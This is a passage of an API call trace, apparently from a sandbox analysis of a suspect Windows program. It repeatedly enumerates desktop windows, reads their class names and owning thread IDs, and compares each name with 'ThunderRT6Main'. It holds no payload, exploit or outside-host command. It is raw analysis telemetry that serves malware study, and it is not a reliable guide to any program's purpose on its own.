lpString2="ThunderRT6Main") returned -1 [0106.498] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0106.502] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0106.502] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0106.502] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0106.502] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0106.502] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0106.502] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.502] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.502] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0106.502] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0106.502] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0106.502] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0106.502] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0106.502] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0106.502] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.502] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.502] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0106.502] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0106.502] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0106.502] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0106.502] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0106.502] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0106.502] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.502] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.503] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0106.503] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0106.503] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0106.503] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0106.503] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0106.503] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0106.503] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.503] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.503] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0106.503] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0106.503] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0106.503] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0106.503] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0106.503] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0106.503] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.503] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.503] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0106.503] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0106.503] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0106.503] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0106.503] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0106.503] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0106.503] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.503] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.503] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0106.503] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0106.503] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0106.503] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0106.503] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0106.503] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0106.503] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.503] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.503] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0106.503] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0106.503] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0106.503] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0106.503] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0106.503] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0106.504] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.504] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.504] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0106.504] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0106.504] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0106.504] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0106.504] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0106.504] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0106.504] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.504] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.504] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0106.504] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0106.504] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0106.504] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0106.504] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0106.504] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0106.504] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0106.509] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0106.509] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0106.509] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0106.509] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0106.509] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0106.509] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0106.509] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0106.509] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0106.509] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0106.509] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0106.509] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0106.509] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0106.509] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0106.509] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0106.509] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0106.509] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.509] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.509] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0106.509] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0106.509] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0106.509] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0106.509] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0106.509] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0106.509] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.509] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.509] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0106.510] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0106.510] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0106.510] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0106.510] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0106.510] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0106.510] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.510] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.510] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0106.510] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0106.510] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0106.510] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0106.510] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0106.510] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0106.510] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0106.510] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0106.510] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0106.510] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0106.510] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0106.510] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0106.510] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0106.510] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0106.510] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0106.510] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0106.510] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0106.510] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0106.510] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0106.510] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0106.510] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0106.510] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0106.510] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.510] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.510] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.510] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0106.510] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0106.510] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0106.510] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.511] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0106.511] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0106.511] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0106.511] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.511] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0106.511] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.511] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.511] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.511] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0106.511] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.511] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.511] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.511] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0106.511] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.511] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.511] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.511] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0106.511] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0106.511] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0106.511] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.511] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0106.511] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0106.511] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0106.511] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.511] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0106.511] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0106.511] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0106.511] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0106.511] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0106.511] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0106.511] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0106.511] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.511] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0106.511] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.511] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.511] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.512] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0106.512] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.512] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.512] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.512] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0106.512] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0106.512] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0106.512] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.512] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0106.512] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0106.512] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0106.512] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0106.512] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0106.512] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.512] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.512] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0106.512] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0106.512] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0106.512] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0106.512] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0106.512] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0106.512] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.512] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.512] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0106.512] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0106.512] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0106.512] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0106.512] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.512] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0106.512] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0106.512] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0106.512] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0106.512] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0106.512] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0106.512] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0106.512] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0106.513] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0106.513] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.513] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.513] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0106.513] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0106.513] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0106.513] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0106.513] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0106.513] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0106.513] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0106.513] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0106.513] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0106.513] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0106.513] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.513] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.513] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0106.513] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0106.513] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.513] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.513] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0106.513] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0106.513] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0106.513] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0106.513] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0106.513] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0106.513] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0106.513] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0106.513] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0106.513] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0106.513] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x64b7fe0 [0106.513] IMalloc:Free (This=0x7fefe465380, pv=0x64b7fe0) [0109.434] GetCurrentThreadId () returned 0xa30 [0109.434] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0109.434] GetDesktopWindow () returned 0x10010 [0109.434] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0109.434] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0109.434] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0109.434] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.434] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0109.434] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.434] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.434] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.434] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0109.434] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.434] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.434] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.434] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0109.434] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.434] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.434] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.434] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0109.435] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.435] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.435] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.435] GetWindow 